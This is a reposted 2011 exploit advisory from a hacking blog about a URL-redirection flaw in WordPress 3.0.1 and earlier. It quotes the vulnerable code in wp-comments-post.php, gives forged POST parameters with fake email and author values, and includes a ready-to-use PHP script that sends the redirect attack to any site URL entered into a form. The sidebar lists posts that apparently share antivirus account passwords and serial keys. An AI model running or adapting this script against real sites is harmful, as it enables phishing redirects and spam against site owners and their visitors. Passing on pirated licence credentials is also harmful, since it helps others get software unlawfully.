Home > HACKING > WordPress (Version 3.0.1 And Prior) Url Redirection Bug
WordPress (Version 3.0.1 And Prior) Url Redirection Bug
Posted on Senin, 17 Oktober 2011 by do it your self
#Title: WordPress (Version 3.0.1 And Prior) Url Redirection Bug
#Vendor: http://wordpress.org/download/
######################################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability65.htm
#Thanks: Amin Shokohi(Pejvak),M3hr@n$,r3dm0v3,am!rkh@n Particular
Hookah(Dosib) :D
######################################################################
Poc : line 94-98 wordpress/wp-comments-post.php
$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) :
$_POST['redirect_to'] . '#comment-' . $comment_id;
*Varible $location equal $_POST['redirect_to']*
$location = apply_filters('comment_post_redirect', $location, $comment);
*Function Redirect Wordpress*
wp_redirect($location);
*Redirect To Varible $location*
######################################################################
Poc 2 : Usage
This Bug Worked In Request Post
Post :
comment_post_ID=1 //Post Id If Is Wrong Buf Not Worked
email=emal@yahoo.com //Fake Email Address
author=pejipeji //Fake Author Name
comment=Hi //Fake Comment
redirect_to=http://www.itsecteam.com //Url Adddress For Redirect
######################################################################
*Note : if post_ID Wrong Bug Not Worked
######################################################################
#Bug : /wordpress/wp-comments-post.php
######################################################################
Exploit For Test :
<?php
echo "<b><center>Wordpress Vulnerability Url Redirection
Test<br>ItSecTeam.com<br></b><form action=".$_SERVER['PHP_SELF']."
method=post>Url : <input type=text size=50 value=http://www. name=url>
<input type=submit Value=' Send Request '></center></form>";
if($_POST['url']){
$ch = curl_init($_POST['url']."/wp-comments-post.php");
curl_setopt($ch, CURLOPT_POSTFIELDS,
"comment_post_ID=1&email=pejipeji".rand(1,9999)."@yahoo.com&author=pejipeji".rand(1,9999)."&comment=Hi".rand(1,9999)."&redirect_to=http://www.itsecteam.com");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
$info=null;
$info =curl_getinfo($ch);
echo $info['url'];
}
?>
Artikel Terkait
Category Article HACKING
Arsip Blog
-
▼
2011
(392)
-
▼
Oktober
(109)
- Acai Berry untuk Kesehatan Tubuh
- Android Secret Code
- Cantik dengan Make Up alami
- ADVANTAGES Use STORED PROCEDURE
- Understanding XSS
- Buah dan Sayuran dengan Kandungan Serat Tinggi
- Facebook Tips And Tricks
- Starcraft
- anti Xss injection
- Smartphone Nokia launched.
- Krim Jahe untuk Segarkan Kulit kering
- Tips Saving Data Safe from Viruses
- update username password nod32 26 oktober 2011
- Ice Cream Sandwich
- keyboard without keys
- Sehat dengan Buah Stroberi
- Cara Ampuh Cegah Komedo
- Install Windows XP 20 Menit
- Sehat Alami dengan Manfaat Jahe
- Perawatan Kecantikan dengan Lemon
- Jalan Telanjang Kaki dan Manfaatnya Bagi Kesehatan
- Free Download BitDefender Internet Security 2012 B...
- Free Download Manual, Offline Update Avira 20 Okto...
- update username password nod32 20 oktober 2011
- Arabic Pad application
- usernme password nod 32 18 oktober 2011
- Terapi Laser untuk Kecantikan
- Bad Credit Loan Shop
- Basic Forex Trading
- Node-Link Diagrams, Sketches, and the Design Process
- free download PES 2012 full vesion
- Creating web applications in java easily </ g: p...
- Ruubik CMS 1.1.0 Local File Inclusion
- WordPress Photo Album Plus 4.1.1 SQL Injection
- WordPress (Version 3.0.1 And Prior) Url Redirectio...
- Dataface Local File Include
- Si pembuat Facebook Mark Zuckerberg pemuda terkaya...
- Tanpa judul
- Membuat Tepi Gambar Bershadow Dengan CSS 3
- Cara melindungi blog wordpres dari serangan homo
- Menu Dessert Sehat Untuk Kesehatan
- free Hotmail Application for Android
- Free youtube converter
- update username password nod32 17 oktober 2011
- Mini Games Smash Frenzy 3 v1.0 Full Download
- free download King Soft Office 2012
- How to Solve Error Download on Android Market Website
- Pro World PES 2012
- Hypertext and Hypermedia
- Nodes, Links, and Navigation
- cara menampilkan status ym di blog
- Windows Repair Software
- username and password nod32 16 oktober 2011
- Free Download Windows 8 Transformation Pack for XP...
- new HTML 5
- VirtualBox 4.1
- free Download ESET Smart Security 5.0.84.0 RC x86 ...
- Free PDF to Word Doc Converter version
- ELEMENT MULIMEDIA & MULTIMEDIA APPLICATIONS
- how to cleaning computer from malware
- Create a Shortcut for Locking the "Computer Screen"
- Steve Jobs will be immortalized in Hungary
- to protected and hidden files very easy
- Analysis of Web Design
- Manual Update Microsoft Security essentials MSE Of...
- Computer Graphics Applications with CGI Technology
- cgi technology on movie
- SEO blog optimization tips
- username password nod32 2011 15 oktober 2011
- Free SN AVG Internet Security 2011 Full version
- Kaspersky Daily Update 15 September 2011
- Avira Antivir Virus Definition File Update 15 okto...
- Atasi Kulit Berminyak Dengan Alami
- How to Create an Free account LR
- 'Web' usability
- Changing your Windows 7 Themes to Windows 8 Themes
- AVG AntiVirus Free Edition 2012
- Free Download Updater Offline Avira November 2011
- Kaspersky Anti-Virus Update 15 oktober 2011
- tutorial to create simple presentations with flah 8
- Why Use Multimedia
- SEO Without You Can Still Get A Powerful Blog Traffic
- some dangerous trap sites
- How To Restore a Deleted Blog in Blogger?
- Username Password ESS eset nod32 14 Oktober 2011
- User name Password ESS NOD32 13 Oktober 2011
- Username And Password Eset NOD32 12 Oktober 2011
- Username And Password Eset NOD32 11 Oktober 2011
- Username And Password Eset NOD32 09 Oktober 2011 N...
- Usrnme Paswrd Eset NOD32 8 Oktober 2011
- Username And Password Eset NOD32 05 Oktober 2011 N...
- Username And Password Eset NOD32 06, 07 Oktober 2011
- Username And Password Eset NOD32 3 oktober 2011
- Username And Password Eset NOD32 4 Oktober 2011 Ne...
- Username And Password Eset NOD32 2 Oktober 2011
- Username And Password Eset NOD32 1 oktober 2011
- Home » Username Eset NOD32 » Username And Password...
- Username And Password Eset NOD32 19 September 2011
- Bahaya di Balik Sehatnya Sayuran dan Buah
- Be Famous. Host A Seminar!
-
▼
Oktober
(109)